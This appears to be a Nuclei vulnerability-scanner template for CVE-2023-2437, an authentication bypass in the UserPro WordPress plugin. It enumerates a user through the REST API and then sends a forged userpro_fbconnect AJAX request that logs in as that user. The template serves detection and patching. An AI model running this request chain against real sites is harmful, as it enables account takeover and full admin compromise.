UserPro <= 5.1.1 - Authentication Bypass

id: CVE-2023-2437

info:
  name: UserPro <= 5.1.1 - Authentication Bypass
  author: intelligent-ears
  severity: critical
  description: |
    The UserPro plugin for WordPress through 5.1.1 allows authentication bypass via the userpro_fbconnect AJAX action.
  impact: |
    Unauthenticated attackers can bypass authentication by exploiting the Facebook connect AJAX action with arbitrary user IDs, potentially gaining full administrative access to the WordPress site and all user accounts.
  remediation: |
    Update UserPro plugin to a version newer than 5.1.1 that properly validates authentication in the userpro_fbconnect AJAX action.
  reference:
    - https://github.com/RxRCoder/CVE-2023-2437
    - https://www.wordfence.com/blog/2023/11/several-critical-vulnerabilities-including-privilege-escalation-authentication-bypass-and-more-patched-in-userpro-wordpress-plugin/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2437
    - https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-2437
    cwe-id: CWE-287
    epss-score: 0.06801
    epss-percentile: 0.93192
    cpe: cpe:2.3:a:userproplugin:userpro:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: userproplugin
    product: userpro
    framework: wordpress
    fofa-query: body="/wp-content/plugins/userpro/"
  tags: cve,cve2023,wp,wordpress,wp-plugin,userpro,auth-bypass,vkev

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /wp-content/plugins/userpro/css/userpro.min.css HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, ".userpro")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-json/wp/v2/users HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: json
        name: username
        part: body
        json:
          - '.[0].slug'
        internal: true

      - type: json
        name: user_id
        part: body
        json:
          - '.[0].id'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=userpro_fbconnect&id={{user_id}}&email={{username}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{\"redirect_uri\":\"refresh\"}"
          - "wp-admin-bar-logout"
          - "<span class='display-name'>"
        condition: or

      - type: word
        part: header
        words:
          - "wordpress_logged_in"
          - "wordpress_sec_"
        condition: or

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a8ce7dd6c0e151d17a6f65cdb140ff39f1e6bc86dd19ef07fda7392666773aa602210088800e765f34867f1d1b3f965b3c0627d0dfb4c774021a58916ee82f1c395238:922c64590222798bb761d5b6d8e72950